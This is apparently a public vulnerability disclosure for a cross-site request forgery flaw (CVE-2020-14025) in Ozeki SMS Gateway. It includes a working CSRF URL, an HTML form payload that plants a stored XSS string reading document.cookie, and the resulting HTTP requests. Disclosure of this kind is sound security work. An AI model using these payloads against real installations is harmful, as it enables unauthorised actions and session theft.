DrunkenShells Ozeki Disclosure ... on Sep 18, 2020 History

..

README.md	2 years ago
XSS via CSRF.png	2 years ago

README.md

CVE-2020-14025: Ozeki SMS Gateway Cross-Site Request Forgery

The Ozeki SMS Gateway software, versions 4.17.6 and below, does not contain any protections against CSRF attack.
If an attacker manages to convince a victim user which is logged into the application to visit a site containing a malicious CSRF payload, this might trigger the victim's browser to send authenticated commands to the web application that may result in:

- Remote Code Execution by chaining multiple GET and/or POST CSRF requests
- Cross-Site Scripting (XSS)
- Etc.

Proof Of Concept:

As a proof of concept, the following URL, which if visited by a logged in user, installs the voting application on behalf of the logged in user:

```
https://<IP>:9443/default?
layout=MENUVIEW&MENU=USERS&MAIN=USERMAIN&mode=installwithusername&type=ozAppVoting.Main&useraccount=VotingApp
```

When the logged in user visited our attacker web page, the following HTTP request sent by the browser to the affected application:

```
GET /default?layout=MENUVIEW&MENU=USERS&MAIN=USERMAIN&mode=installwithusername&type=ozAppVoting.Main&useraccount=VotingApp HTTP/1.1
Host: <IP>:9443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3835.0 Safari/537.36
Cookie: usrckenc=4ef***TRUNCATED***712
```

Thus, we were able to perform Installation of the Voting Application.

Another proof of concept:
The following HTML page, which if visited by a logged in user, injects a malicious stored JavaScript payload on behalf of the logged in user, an attacker being able to steal the victim's Session Cookie.

CSRF Payload:

```
<html>
        <body>
                <form action="https://<IP>:9443/default" method="POST">
                        <input type="hidden" name="layout" value="MENUVIEW" />
                        <input type="hidden" name="MENU" value="ROUTINGMENU" />
                        <input type="hidden" name="MAIN" value="LISTMANAGEMENT" />
                        <input type="hidden" name="mode" value="addnow" />
                        <input type="hidden" name="listname"
value="hey&lt;svg&#47;onload&#61;alert&#40;document&#46;cookie&#41;&gt;" />
                        <input type="submit" value="Submit request" />
                </form>
        </body>
</html>
```

Accessing the above page will generate the following request:

```
POST /default HTTP/1.1
Host: <IP>:9443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3835.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Cookie: usrckenc=4ef***TRUNCATED***712

layout=MENUVIEW&MENU=ROUTINGMENU&MAIN=LISTMANAGEMENT&mode=addnow&listname=hey%3Csvg%2Fonload%3Dalert%28document.cookie%29%3E
```

The payload being injected and executed in the victim session: